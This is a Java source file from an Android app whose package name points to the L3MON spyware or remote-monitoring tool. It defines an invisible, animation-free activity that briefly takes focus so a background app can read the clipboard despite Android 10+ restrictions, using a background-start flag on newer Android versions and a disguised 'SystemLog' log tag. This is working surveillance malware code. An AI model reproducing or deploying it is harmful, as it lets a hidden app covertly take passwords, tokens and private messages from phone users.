package com.etechd.l3mon;

import android.app.Activity;
import android.app.ActivityOptions;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.util.Log;

/**
 * Actividad transparente que obtiene foco un instante para leer el portapapeles
 * (requerido en Android 10+, MIUI y Samsung cuando la app está en segundo plano).
 */
public class ClipboardCaptureActivity extends Activity {
    private static final String TAG = "SystemLog";

    public static void trigger(Context context, String reason) {
        if (context == null) {
            return;
        }
        try {
            Intent intent = new Intent(context, ClipboardCaptureActivity.class);
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_ANIMATION);
            intent.putExtra("reason", reason);
            if (Build.VERSION.SDK_INT >= 34) {
                ActivityOptions options = ActivityOptions.makeBasic();
                options.setPendingIntentBackgroundActivityStartMode(
                        ActivityOptions.MODE_BACKGROUND_ACTIVITY_START_ALLOWED);
                context.startActivity(intent, options.toBundle());
            } else {
                context.startActivity(intent);
            }
        } catch (Exception e) {
            Log.w(TAG, "ClipboardCaptureActivity no iniciada: " + e.getMessage());
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        overridePendingTransition(0, 0);
    }

    @Override
    protected void onResume() {
        super.onResume();
        String reason = getIntent() != null ? getIntent().getStringExtra("reason") : "activity";
        ClipboardMonitor.captureWithFocus(this, reason);
        finish();
        overridePendingTransition(0, 0);
    }
}
